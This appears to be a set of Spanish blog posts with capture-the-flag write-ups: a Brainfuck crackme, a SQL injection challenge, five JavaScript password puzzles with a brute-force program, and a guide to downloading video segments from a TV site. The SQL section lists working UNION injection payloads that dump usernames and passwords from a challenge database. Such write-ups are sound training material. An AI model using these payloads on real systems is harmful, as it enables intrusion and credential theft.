Introducción
Decompilado
Abrimos la víctima con nuestro decompilador favorito y nos fijamos en su contenido.
Abrimos la víctima con nuestro decompilador favorito y nos fijamos en su contenido.
Aquí tenemos un crackme fuera de lo común, más que nada por que está programado en Brainfuck, un lenguaje de programación esotérico bastante complejo.
[-]>[-]<>++++++++[<++++++++++>-]<.+++++++++++++++++.>+++[<++++++>-]<..++++.- -------.+++.--------------.>++++++[<------>-]<-.>+++++[<------>-]<-.,>,>,>,> >>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++>>>>+++++++++++++++++++++++++++++++++++++++++ +++++++++++>>>>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++>>>>++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++<<< <<<<<<<<<<<<<<<<[>>>>>>>-<<<<<<<-]>>>>>>><<+>>[[-]++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++.<]<[>]<<<<<[>>>>>>>>>>-<<<<<<<< <<-]>>>>>>>>>><<+>>[[-]+++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++.<]<[>]<<<<<<<<[>>>>>>>>>>>>>-<<<<<<<<<<<<<-]>>>>>>>>>>>>><<+>>[ [-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ .<]<[>]<<<<<<<<<<<[>>>>>>>>>>>>>>>>-<<<<<<<<<<<<<<<<-]>>>>>>>>>>>>>>>><<+>>[ [-]+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++.<]<[>]>>>[-]>[-]<+++++++++++++.---.>+++++++[<++++++++++++>-]<.>+++++++[< --------->-]<+.>+++++[<++++++++>-]<+.>++++[<+++++++>-]<+.>+++++++[<--------- ->-]<.>++++++++[<+++++++++>-]<+.+++++++++++.>+++++++[<----------->-]<.>+++++ ++[<+++++++++++>-]<-.>+++++++[<------------>-]<+.>++++++++[<+++++++++++>-]<- .-----.---------.+++++++++++..---------------.+++++++++.>++++++[<----------- -->-]<.+++++++.>+++++[<++++++>-]<+.-----.++++++++.+++.>++++++[<------>-]<-.- ------.>++++++++[<++++++++++>-]<-.+++.>+++++++++[<--------->-]<-.+++++++.>++ +++[<++++++>-]<+.-----.+++++++++++.>++++++[<------>-]<-.-------.>++++++++[<+ +++++++++>-]<-.+++.>+++++++++[<--------->-]<-.+++++++.>+++++[<+++++>-]<+.+++ +++++.+++.>++++++[<------>-]<-.+++++++...--------------.>++++++++[<+++++++++ ++>-]<+.----------.++++++.>+++++++[<------------>-]<-.>++++++++[<+++++++++>- ]<.-------.>+++[<+++++++>-]<.-----------------.>+++++++[<---------->-]<+.>++ +++++[<++++++++++>-]<.-----.++++++++.+++.-------.-.>++++++[<--------->-]<.-- ------------.>+++++[<++++++++>-]<+.>++++[<+++++++>-]<+.>+++++++[<----------> -]<.>+++++++[<++++++++++++>-]<.------------.---.+++++++++++++.-------------. >+++++++[<---------->-]<+.>++++++++[<+++++++++>-]<+.++++++++++.>+++++++[<--- --------->-]<+.>++++++[<+++++++++++++>-]<.+.+++++.------------.+.+++++.----- --.>++++++[<---------->-]<+.------------.>++++++++[<+++++++++++>-]<+.------- ---.++++++.>+++++++[<------------>-]<-.>++++++++[<+++++++++>-]<.-------.>+++ [<+++++++>-]<.-----------------.>+++++++[<---------->-]<+.>++++++++[<+++++++ ++++>-]<-.--------------.+++++.>++++++[<------------->-]<.+.
La solución que he encontrado yo, es convertir el código brainfuck a algo más amigable y depurarlo hasta encontrar la solución. La conversión la he realizado con VBBrainFNET y luego la depuración con Visual Studio. El crackme te pide una clave de cuatro cifras para darte la solución, pero si no quieres volverte loco puedes amañar los bucles para encontrar la solución.
¡SUERTE!
Warning: This challenge is still active and therefore should not be resolved using this information.
Aviso: Este reto sigue en activo y por lo tanto no se debería resolver utilizando esta información.
Seguido tenemos la pregunta de seguridad.
Introducimos cualquier cosa y nos muestra el siguiente error.
El error nombra la tabla «security«, luego la usaremos.
Intentamos sin éxito inyectar en la pregunta de seguridad, de modo que nos centraremos en el login.
Para inyectar a continuación meter cualquier nombre y la inyección en el password.
SQLI: ' OR EXISTS(SELECT * FROM users WHERE name='admin' AND password LIKE '%w%') AND ''=' Response: Table 'thisi30_chal.users' doesn't exist
SQLI: 0' UNION SELECT @@version,null' Response: 5.5.36-cll
SQLI: 0' UNION SELECT table_name,null FROM information_schema.tables WHERE version = '10 Response: userdb
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'security Response: ID,name,secquestion,answer
SQLI: 0' UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = 'userdb Response: id,name,password
Ya tenemos las dos tablas que nos interesan con las columnas correspondintes, ahora vamos a por lo que hemos venido a buscar.
SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '1 Response: 1:admin:fr0gger SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '2 Response: 2:jack:simple123 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '3 Response: 3:cr0pt:cr0p111 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '4 Response: 4:us3r:a1b2c3 SQLI: ' UNION SELECT concat(ID,0x3a,name,0x3a,password),null FROM userdb WHERE ID = '5 Response: ERROR, there are only 4 users
SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '1 Response: 1:admin:mothers maiden name:******* SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '2 Response: 2:jack:birthplace:***** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '3 Response: 3:cr0pt:querty:**** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '4 Response: 4:us3r:favourite food:*** SQLI:' UNION SELECT concat(ID,0x3a,name,0x3a,secquestion,0x3a,answer),null FROM security WHERE ID = '5 Response: ERROR, there are only 4 users
Aunque aquí se muestra el resumen final, hasta dar con la solución correcta tuve que probar hasta 20 inyecciones diferentes. Mi consejo es que leáis todos los manuales que podáis hasta entender correctamente a que os enfrentais ya que por ejemplo, con este reto se puede aprender perfectamente como funciona una inyección SQL más compleja.
Los retos de Javascript son los retos más sencillos que podemos encontrar. Muchas veces solamente mirando el código fuente obtenemos la respuesta. Suponen una mala implementación de seguridad debido a que el código se ejecuta del lado del cliente, por lo que el código fuente es accesible y por lo tanto, javascript no garantiza seguridad alguna. En estos cinco casos haremos un recorrido por lo más básico, cinco retos fáciles de superar y que nos proporcionan los conocimientos base para Javascript. Dicho esto os puedo asegurar que en ocasiones he encontrado retos javascript realmente complicados que requieren de horas descifrarlos y en los que es fácil tirar la toalla.
Cuando el reto lo requiera, es buena idea utilizar un compilador online para obtener de forma rápida el valor de una variable o realizar una prueba concreta. Yo utilizo Jsfiddle para realizar pruebas pero existen muchos más.
Este primer reto es lo básico, en el código fuente se pueden apreciar directamente el usuario y la clave.
<script language=JavaScript>
function Verify(name,pass)
{
if (name=="admin" & pass=="3***3")
{
location.href = name + pass + '.htm';
}
else
{
alert("Si ya fallamos el primero...");
};
}
</script>
Este segundo reto es bastante sencillo pero ya te obliga a conocer la función charAt() de Javascript. Dicha función lo que hace es coger el caracter indicado mediante un índice que comienza en cero. Por ejemplo si nombre = deurus y hacemos letra = nombre.charAt(3), estariámos extrayendo la cuarta letra, es decir, la letra r de la variable nombre.
function Verify(name,pass)
{
var name1 = "CrawlinG", pass1 = "capriccio"
if (name==name1 & pass==pass1)
{
location.href = name + ".htm";
}
else
{
var x = name1.charAt(7) + pass1.charAt(3)+ name1.charAt(2) + pass1.charAt(5) + name1.charAt(5) + pass1.charAt(1);x = x.toLowerCase();
var y = name.charAt(3) + name.charAt(1) + pass.charAt(1)+ pass.charAt(6) + pass.charAt(7) + name.charAt(2);var x1 = "des" + y;
if (x==y){location.href = x1 + ".htm"}else{alert("Esto no va bien");location.href = "js2.htm"}
}
}
Lo interesante está en la formación de las variables x e y. La variable x se forma de las variables name1 y pass1, formando la palabra gracia. Por otro lado, la variable y se forma con el nombre y clave que introduzcamos nosotros. Vemos que la variable x e y deben ser iguales, por lo tanto debemos construir un nombre (name) y una clave (pass) que cumpla con lo siguiente:
Como véis simplemente se trata de interpretar correctamente la función charAt() y de fijarse bien en los nombres de las variables.
Este reto nos muestra diálogo donde nos pide la contraseña para validar el reto. Al fallar o cancelar vuelve al índice para no dejarnos ver el código fuente. Aquí se pueden seguir varios caminos como bloquear el uso de javascript en el navegador o instalar un plugin en chrome o firefox para habilitar/deshabilitar de forma rápida el uso de javascript.
Una vez deshabilitado javascript vemos lo siguiente:
<script language="JavaScript" src="js3.gif" type=text/javascript>
<!--
function verify()
{
var pass="thebest";
var password=prompt("Introduce el password para superar el nivel","");
if (password==pass)
{
location.href = pass + ".htm";
}
else
{
alert("No vamos bien...");
location.href = "index.htm";
}
}
//-->
</script>
Aquí el truco es darse cuenta que el código que se está ejecutando esta en «js3.gif» y no el código que nos muestra como válida la clave thebest. Si descargamos el archivo js3.gif y lo abrimos con un archivo de texto vemos nuestra querida clave.
function verify()
{
var pass="mo****ver";
var password=prompt("Introduce el password para superar el nivel","");
if (password==pass)
{
location.href = pass + ".htm";
}
else
{
alert("No vamos bien...");
location.href = "index.htm";
}
}
En este reto ya entramos con que la clave no es reversible y la debemos obtener por fuerza bruta. En este reto utiliza una nueva función como charCodeAt() que lo que hace es obtener el valor ascii del caracter indicado.
function Verify(pass1)
{
var cont1= 2, cont2= 6
var suma1 = 0, suma2 = 0
var pass2 = "FDRLF"
for(i = 0; i < pass1.length; i++)
{
suma1 += (pass1.charCodeAt(i) * cont1);
cont1++
}
for(i = 0; i < pass2.length; i++)
{
suma2 += (pass2.charCodeAt(i) * cont2);
cont2++
}
if (suma1==suma2)
{
window.location=suma1+".htm";
}
else
{
alert ("Algo no va bien...");
}
}
Vemos dos bucles en los que se calculan sendos valores suma que finalmente se comparan. la variable suma1 se calcula mediante nuestro password y la variable suma2 la obtiene de la palabra «FDRLF». Con el script que os muestro a continuación obtenemos que usando como clave deurus, suma1 = 3048 y suma2 = 2936. Nuestro punto de referencia es suma2 = 2936, de modo que vamos alterando con paciencia la variable pass1 obteniendo valores cercanos a 2936. Por ejemplo «deurua» nos da suma1 = 2922, un valor bastante cercano.
var pass1 = "deurus";
var cont1= 2, cont2= 6
var suma1 = 0, suma2 = 0
var pass2 = "FDRLF"
for(i = 0; i < pass1.length; i++)
{
suma1 += (pass1.charCodeAt(i) * cont1);
cont1++
}
for(i = 0; i < pass2.length; i++)
{
suma2 += (pass2.charCodeAt(i) * cont2);
cont2++
}
alert (suma1);
alert (suma2);
La solución a este reto es múltiple. Dos claves válidas son por ejemplo dfurqf y zwfabz.
Este último reto es similar al anterior pero ya nos obliga a crearnos una pequeña herramienta que nos busque el serial válido.
function Verify(pass)
{
var suma=0
var cadena = "abcdefghijklmnopqrstuvwxyz"
for (var i = 0; i < pass.length; i++)
{
var letra = pass.charAt(i)
var valor = (cadena.indexOf(letra))
valor++
suma *= 26
suma += valor
}
if (suma==6030912063)
{
window.location=pass+".htm";
}
else
{
alert ("Algo no va bien...");
}
}
Para esta ocasión utiliza una nueva función llamada indexOf() que lo que hace es devolver un número entero que representa la posición en la que se encuentra el parámetro pasado a la función. Por ejemplo, si tengo variable = deurus y realizo posición = variable.indexOf(«s»), obtengo como resultado 5 (se empieza a contar desde cero).
Las operaciones que realiza el bucle son las siguientes:
Aunque el proceso de recuperación de esta clave es algo más largo, podemos acortarlo introduciendo una clave de inicio de fuerza bruta próxima al objetivo. Al ser una función bastante lineal podemos rápidamente mediante pruebas con nuestro código de fuerza bruta o con un compilador online, establecer que la clave tendrá 7 caracteres e incluso que para ahorrar tiempo podemos aproximar la clave para que su valor suma esté cercano al valor suma buscado 6030912063.
Realizando pruebas obtenemos:
Como vemos, la clave smkkkkk ya está bastante próxima al objetivo y será un buen punto para lanzar la fuerza bruta.
Os dejo el código de fuerza bruta en .Net
Module Module1
Sub Main()
inicio:
Console.WriteLine("-------------------------")
Console.WriteLine("Modo [1] Prueba password")
Console.WriteLine("Modo [2] Fuerza bruta")
Console.WriteLine("-------------------------")
Dim modo = Console.ReadLine()
'
If modo = 2 Then
Console.WriteLine("¿Password para comenzar?")
Dim pass = Console.ReadLine()
inicio2:
Dim cadena As String = "abcdefghijklmnopqrstuvwxyz"
Dim valor As Integer = 0
Dim suma As Long = 0
Dim letra As String
For i = 0 To pass.Length - 1
letra = Mid(pass, i + 1, 1)
valor = cadena.IndexOf(letra)
valor += 1
suma *= 26
suma += valor
Next
Console.WriteLine("Password: " & pass & " - Sum: " & suma.ToString)
pass = IncrementString(pass)
If suma = 6030912063 Then
MsgBox("Password is " & pass)
Else
If pass = "aaaaaaaa" Then
Console.WriteLine("pass not found")
Console.ReadKey()
Else
GoTo inicio2
End If
End If
End If
'------------------------------------------------
If modo = 1 Then
Console.WriteLine("Password:")
Dim pass = Console.ReadLine()
Dim cadena As String = "abcdefghijklmnopqrstuvwxyz"
Dim valor As Integer = 0
Dim suma As Long = 0
Dim letra As String
For i = 0 To pass.Length - 1
letra = Mid(pass, i + 1, 1)
valor = cadena.IndexOf(letra)
valor += 1
suma *= 26
suma += valor
Next
Console.WriteLine("Password: " & pass & " - Sum: " & suma.ToString)
Console.WriteLine(".......")
Console.WriteLine("Good = 6030912063")
Console.WriteLine("Suma = " & suma.ToString)
Console.ReadKey()
Console.Clear()
GoTo inicio
End If
End Sub
Function IncrementString(ByVal strString As String) As String
'
' Increments a string counter
' e.g. "a" -> "b"
' "az" -> "ba"
' "zzz" -> "aaaa"
'
' strString is the string to increment, assumed to be lower-case alphabetic
' Return value is the incremented string
'
Dim lngLenString As Long
Dim strChar As String
Dim lngI As Long
lngLenString = Len(strString)
' Start at far right
For lngI = lngLenString To 0 Step -1
' If we reach the far left then add an A and exit
If lngI = 0 Then
strString = "a" & strString
Exit For
End If
' Consider next character
strChar = Mid(strString, lngI, 1)
If strChar = "z" Then
' If we find Z then increment this to A
' and increment the character after this (in next loop iteration)
strString = Left$(strString, lngI - 1) & "a" & Mid(strString, lngI + 1, lngLenString)
Else
' Increment this non-Z and exit
strString = Left$(strString, lngI - 1) & Chr(Asc(strChar) + 1) & Mid(strString, lngI + 1, lngLenString)
Exit For
End If
Next lngI
IncrementString = strString
Exit Function
End Function
End Module
Hoy en día, la descarga de contenido multimedia de ciertas webs es imposible o muy difícil. En ciertos casos lo entiendo, exponer el contenido supone una pérdida de ingresos y eso es inaceptable. Las cadenas de TV son tema aparte, emiten contenido por varios medios y les gusta que lo veas y que lo compartas, eso sí, que lo compartas desde su plataforma, ya que lo que estás compartiendo es un enlace, no el vídeo.
Este caso es un caso intermedio entre una plataforma de pago que codifica sus contenidos y una web que nos permita descargar su contenido directamente.
Imaginemos que vemos un vídeo y queremos mandarlo por Whatsapp a nuestros amigos. Lo primero es echar un vistazo al código fuente de la web y localizar el código del reproductor web (player). Para esta tarea podemos ayudarnos de una extensión muy conocida para navegadores como es Firebug. Una vez instalada, la activamos con F12 y mediante el botón Inspect localizamos el player.
...
<p itemprop="keywords" itemscope="itemscope" itemtype="http://schema.org/Text" class="antetitulo" lang="es">EL INTERMEDIO LE PILLA EN "EL TRONO"</p>
<h1 class="title-new" itemprop="headline">Joaquín Reyes se mete en la piel de Juan Carlos I: "Soy tan campechano que podéis llamarme Juan Carlos Palote"</h1>
<sumary class="entradilla" itemprop="description">
<p><p class="MsoNormal">Los reyes eméritos han celebrado sus bodas de esmeralda y
con motivo de tan señalada fecha, Juan Carlos I ha hecho un hueco en su
apretada agenda para concederle unos minutos a <a title="<b>El Intermedio</b>" href="http://www.lasexta.com/temas/el_intermedio-1" target="_blank"><b>El Intermedio</b></a>. Eso sí, en su
versión de <a title="<b>Joaquín Reyes</b>" href="http://www.lasexta.com/temas/joaquin_reyes-1" target="_blank"><b>Joaquín Reyes</b></a>. <o:p></o:p></p> </sumary>
<div class="great-element-multimedia">
<section class="modVideo a3mod_player" data-mod="a3mod_player" data-model="/json/video/7/2017/05/15/591a08c1986b2810b31577c1.json">
<a itemprop="url" href="#" class="icon link-content" title="" data-mod-elem="icon">
<div class="wrap-img" role="banner">
<div itemprop="video" itemscope itemtype="http://schema.org/VideoObject">
<picture>
<!--[if IE 9]><video style="display: none;"><![endif]-->
<source media="(max-width:520px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/64.jpg" />
<source media="(max-width:1023px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/60.jpg" />
<source media="(min-width:1024px)" srcset="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" />
<!--[if IE 9]></video><![endif]-->
<img src="http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/58.jpg" alt="Joaquín Reyes, como el rey Juan Carlos I" title="Joaquín Reyes, como el rey Juan Carlos I" />
</picture>
<meta itemprop="description" content=""/>
<meta itemprop="name" content=""/>
<meta itemprop="thumbnailUrl" content="" />
<meta itemprop="uploadDate" content=""/>
<meta itemprop="url" content=""/>
<meta itemprop="width" content=""/>
<meta itemprop="height" content=""/>
</div>
</div>
</a>
</section>
</div>
...
Si os fijáis bien, el reproductor hace referencia a un archivo json (591a08c1986b2810b31577c1.json), reconstruimos la url y miramos su contenido
{"id":"591a08c1986b2810b31577c1","type":"video","tipo":"video","subtipo":"video","imgThumb":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/29.jpg","imgPoster":"http://fotografias.lasexta.com/clipping/cmsimages02/2017/05/15/14069ECA-B0E4-4F09-A5B7-04B600C016AD/31.jpg","live":false,"autoplay":true,"sources":[{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/manifest_mvlist.mpd","type":"application/dash+xml"},{"src":"http://vclip.atresmedia.com/vclip/_definst_/smil:assets10/2017/05/15/01229E28-A57E-4AC9-AFE7-EF1C27B5AA2A/es.smil/playlist.m3u8","type":"application/vnd.apple.mpegurl"}],"omniture":{"section":"Joaquín Reyes","category":"El Intermedio","channel":"lasexta","type":"short","name":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","embeddedMode":false},"comscore":{"comscoreTag":"LASEXTA.COM","channel":"lasexta","kantar":{"programID":"1019","firstBroadcastDate":"*null","firstBroadcastTime":"*null","typeTvStream":"0002","kantarGenre":"0","channelId":"240"},"content_form":"short_form"},"urlHits":"http://hits.lasexta.com/l6//591a08c1986b2810b31577c1/3/348128,351435,351827,351865/","duration":"211.797333","embeddedUrl":"<iframe src=\"http://www.lasexta.com/embed/el-intermedio-le-pilla-en-el-trono/video/7/2017/05/15/591a08c1986b2810b31577c1\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen></iframe>","playondraw":true,"nextRelated":{"service_url":"http://www.lasexta.com/json/video/7/2017/05/15/591a08c1986b2810b31577c1_related.json"},"subtitle":[],"titulo":"Joaquín Reyes se mete en la piel de Juan Carlos I: \"Soy tan campechano que podéis llamarme Juan Carlos Palote\"","descripcion":"","sociales":{"hasTwitter":true,"hasFacebook":true,"hasGooglePlus":true,"hasWhatsapp":true,"twitter":"EL INTERMEDIO LE PILLA EN “EL TRONO”","facebook":"EL INTERMEDIO LE PILLA EN “EL TRONO”","googlePlus":"EL INTERMEDIO LE PILLA EN “EL TRONO”","whatsapp":"","hashtag":"","via":"sextaNoticias","urlPage":"https://goo.gl/cu98f0"},"vp_data":{"vp_category":"Atresmedia/Lasexta/programas/el-intermedio*","vp_tags":"","vp_content_form":"short_form"}}
Se puede ver a simple vista una lista de reproducción playlist.m3u8, cuyo contenido contiene más listas de reproducción con diferentes calidades.
#EXTM3U #EXT-X-VERSION:3 #EXT-X-STREAM-INF:BANDWIDTH=796400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360 chunklist_b724000.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=1159400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=640x360 chunklist_b1054000.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=1643400,CODECS="avc1.77.30,mp4a.40.5",RESOLUTION=720x404 chunklist_b1494000.m3u8 #EXT-X-STREAM-INF:BANDWIDTH=2248400,CODECS="avc1.77.31,mp4a.40.5",RESOLUTION=1280x720 chunklist_b2044000.m3u8
Reconstruimos la URL para la lista de reproducción de mayor calidad e inspeccionamos su contenido.
#EXTM3U #EXT-X-VERSION:3 #EXT-X-TARGETDURATION:10 #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0, media_b2044000_0.ts #EXTINF:10.0, media_b2044000_1.ts #EXTINF:10.0, media_b2044000_2.ts #EXTINF:10.0, media_b2044000_3.ts #EXTINF:10.0, media_b2044000_4.ts #EXTINF:10.0, media_b2044000_5.ts #EXTINF:10.0, media_b2044000_6.ts #EXTINF:10.0, media_b2044000_7.ts #EXTINF:10.0, media_b2044000_8.ts #EXTINF:10.0, media_b2044000_9.ts #EXTINF:10.0, media_b2044000_10.ts #EXTINF:10.0, media_b2044000_11.ts #EXTINF:10.0, media_b2044000_12.ts #EXTINF:10.0, media_b2044000_13.ts #EXTINF:10.0, media_b2044000_14.ts #EXTINF:10.0, media_b2044000_15.ts #EXTINF:10.0, media_b2044000_16.ts #EXTINF:10.0, media_b2044000_17.ts #EXTINF:10.0, media_b2044000_18.ts #EXTINF:10.0, media_b2044000_19.ts #EXTINF:10.0, media_b2044000_20.ts #EXTINF:1.92, media_b2044000_21.ts #EXT-X-ENDLIST
Se pueden ver 21 archivos con extensión TS de 10 segundos cada uno a excepción del último que dura 1.92 segundos. Los archivos TS no son más que archivos MP4 por lo que una vez descargados, los podemos unir con MP4Tools por ejemplo.
La tarea es costosa, pero si os apetece enviar un vídeo en vez de un enlace, ya sabéis que en determinados casos se puede hacer.